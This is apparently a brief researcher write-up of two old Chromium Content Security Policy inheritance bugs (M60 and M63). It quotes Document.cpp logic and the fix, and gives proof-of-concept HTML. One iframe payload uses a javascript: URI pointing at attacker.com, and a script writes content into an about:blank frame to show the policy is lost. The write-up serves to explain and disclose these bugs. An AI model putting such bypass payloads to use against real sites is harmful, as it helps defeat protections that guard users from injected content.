for CSP, the inherit strategy is a important thing. once it has some logical problems,it would result in CSP bypass

M60

CSP not inherited after navigation to JavaScript scheme uri

check in void Document::InitContentSecurityPolicy() of Document.cpp

1
2
3
if (url_.IsEmpty() || url_.ProtocolIsAbout() || url_.ProtocolIsData() ||
url_.ProtocolIs("blob") || url_.ProtocolIs("filesystem")) {
GetContentSecurityPolicy()->CopyStateFrom(policy_to_inherit);

it ignored javascript scheme

exp

1
<iframe src="javascript:'<iframe src=attacker.com \/>'"/>

M63

Plznavigate in iframe did not inherit CSP after navigation to about:blank

old strategy in document.cpp

1
2
3
4
if (policy_to_inherit && IsPluginDocument())
GetContentSecurityPolicy()->CopyPluginTypesFrom(policy_to_inherit);
GetContentSecurityPolicy()->BindToExecutionContext(this);
}

so that if navigation happends(about:blank has the same origin as its opener), CSP could be bypassed

fixed

1
2
3
4
5
6
void Document::InitContentSecurityPolicy(
ContentSecurityPolicy* csp,
const ContentSecurityPolicy* policy_to_inherit) {
SetContentSecurityPolicy(csp ? csp : ContentSecurityPolicy::Create());
GetContentSecurityPolicy()->BindToExecutionContext(this);

exp

1
2
3
4
5
6
7
8
9
10
11
<meta http-equiv="Content-Security-Policy" content="default-src 'none';script-src 'unsafe-inline';">
<iframe id="x" srcdoc="<a href='about:blank'>123</a>"></iframe>
<script>
function pwn()
{
x=document.getElementById('x');
x.location="";
x.contentDocument.write('<iframe src="http://www.qq.com"></iframe><script>alert("inherit the origin,but csp lost")<\/script>');
}
pwn();
</script>